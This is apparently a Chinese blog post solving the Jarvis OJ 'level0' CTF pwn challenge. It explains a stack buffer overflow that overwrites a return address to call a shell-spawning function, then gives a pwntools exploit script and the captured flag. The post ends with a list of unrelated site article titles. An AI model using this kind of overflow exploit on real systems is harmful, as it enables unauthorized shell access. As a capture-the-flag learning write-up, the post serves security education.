Jarvis OJ - [XMAN]level0 - Writeup
2024-08-24 22:36:02
差不多最简单的pwn了吧,不过本菜鸟还是要发出来镇楼
分析一下,checksec 查看程序的各种保护机制
没有金丝雀,没有pie
执行时输出Hello,World,在进行输入,溢出嘛
开工
丢到ida里看看,先看看有价值的strings,除了输出的helloworld 还发现了“/bin/sh”,获取shell的函数都写好啦,是callsystem
继而发现在main函数执行时调用的vulnerable_function()存在不安全的read输入,可以看到buf的长度为0x80+0x8
所以可以通过输入buf,用callsystem的地址覆盖vulnerable_function()的返回地址,进而实现获取shell
程序流程(从ABO偷来下图)
灰色箭头代表覆盖vulnable_function返回地址之前的执行顺序
脚本
#!/usr/bin/env python
# coding:utf-8
# writen by Exm from pwn import *
io = process("./level0")
io = remote("pwn2.jarvisoj.com" , 9881)
elf = ELF("./level0")
func_addr = elf.symbols["callsystem"]
payload = 'a' * (0x80 + 0x8) + p64(func_addr) io.recvline()
io.sendline(payload)
io.interactive()
io.close()
补充一下
symbols是[中括号]!!symbols是[中括号]!!symbols是[中括号]!!
执行一下就getshell啦,拿flag入探囊取物
flag: CTF{713ca3944e92180e0ef03171981dcd41}
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;
最新文章
- 并发编程 01—— ThreadLocal
- Intent启动一个新的页面
- Ecshop文章列表页显示内容摘要
- [转载] 【每周推荐阅读】C-Store:列式存储数据库
- Deep Learning in Bioinformatics
- OLEDB简介
- 5.4 RegExp类型
- JDK和JRE的差异和区别
- js“分享到”侧边框伸缩实现
- python WEB接口自动化测试之requests库详解
- Oracle的基本学习(一)—安装Oracle
- AI 学习新的开始
- mongodb系列之---副本集配置与说明
- 中兴iptv机顶盒破解教程图文:亲测中兴B760EV3、B860A、B860AV1.1完美安装应用!非ttl破解![转]
- [android] 手机卫士项目
- python3用BeautifulSoup抓取div标签
- 关于Markdown插入图片路径错误的问题
- HTTP 请求头中的 X-Forwarded-For,X-Real-IP
- App phonegap
- ArcGIS Desktop 10.1+ArcEngine10.1完全破解安装教程(含下载地址+亲测可用!)
热门文章
- StringDup(理论AC)
- Problem D
- 记录下 Markdown 语法
- Python中编码问题:u'\xe6\x97\xa0\xe5\x90\x8d' 类型的转为utf-8的解决办法
- (转)微信开发连接SAE数据库
- python+selenium安装
- 【MFC】基于OpenCV的魔镜
- 几种文件查找命令,whereis ,find ,locate.
- Mac上编译并运行Android5.0源码
- js中的break,continue和return到底怎么用?